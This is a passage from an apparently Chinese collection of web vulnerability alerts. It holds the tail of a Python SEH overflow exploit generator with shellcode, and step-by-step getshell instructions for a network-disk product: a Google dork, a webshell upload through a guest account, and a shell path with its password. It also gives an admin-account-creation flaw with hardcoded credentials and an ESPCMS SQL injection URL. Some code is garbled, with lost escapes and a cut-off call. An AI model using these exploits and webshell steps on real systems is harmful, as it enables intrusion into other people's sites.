“x7cx7axc1”)
nops=“x90” * (516 - len(shellcode)) #516 bytes space for shellcode
nseh=“x90x90xebx06”
seh=pack('
poc=head + nops + shellcode + nseh + seh + tail
try:
print “[*] Creating exploit file...n”;
writeFile = open (file, “w”)
writeFile.write( poc )
writeFile.close
print “[*] File successfully created!”;
except:
print “[!] Error while creating file!”;
篇6：桃园网盘通杀批量getshell漏洞预警
出处论坛：法客论坛《team.f4ck.net》
首发博客：疯子博客《Madman.in》
谷歌关键字：inurl:guest_ly.aspx
第一：先看是否有可以测试的“guest”账户
如果有，点击 文件管理→上传→然后上传ashx马
上传之后马的路径在，
Madman.in/myfile/guest/madman.ashx
guest是账户
myfile 是默认的上传文件保存目录
这个madman.ashx，执行后，会在同目录下生成一个root.asp的一句话，执行完成后，果断菜刀连接……
连接方式
Madman.in/myfile/guest/root.asp
密码：root
这个马我后面打包
如果没有测试账户
那如果开启注册 就自己注册一个 也是这样 拿shell
或者不给注册 如果有原来的 你也可以社试一下
MADMAN.in/search_user.aspx
全部账户名称的用户名在这里
篇7：星光传媒管理系统通杀漏洞漏洞预警
############################################################################
#
# Title: 星光传媒管理系统通杀漏洞
# Time：-10-30
# Team:makebugs
# Author: 缘分
############################################################################
t.qq.com/MakeBug
hi.baidu.com/micropoor
'虽然漏洞由于粗心造成，但足以通杀整套系统
'由于国际问题，代码就不贴了，
星光传媒管理系统通杀漏洞漏洞预警
，
'后台添加账户没有验证权限，导致直接添加账户
127.0.0.1/manageadmin/System/manage_admin.asp
127.0.0.1/manageadmin/System/manage_admin_add.asp
其他信息：
127.0.0.1/manageadmin/editor/admin/login.asp
sUsername = “xgnic”
sPassword = “xgnic1281”
这套系统我会继续分析。因为它比较有趣。明明是验证了权限问题，可是能跨域。代码实在太多。以后继续贴码补贴。
篇8：再次 Espcms通杀SQL注入漏洞分析漏洞预警
易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统，它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便，可以帮您迅速、轻松地构建起一个强大专业的企业网站，
再次 Espcms通杀SQL注入漏洞分析漏洞预警
。.还是 文件search.php的问题。第52行的$att数组中$key为过滤。
if (is_array($att) && count($att) > 0) { foreach ($att as $key => $value) { if ($value) { $value = $this->fun->codecon($value, 'bg'); $db_where .= ' AND b.' . $key . '='' . $value . '''; $urlstr .= '&attr[' . $key . ']=' . urlencode($value); } } }
eg:localhost/espcms_utf8_5.6.13.03.11_b/upload/index.php?ac=search&at=list&att[{SQL}]=c0deplayseay牛给出exp，我就滤过！
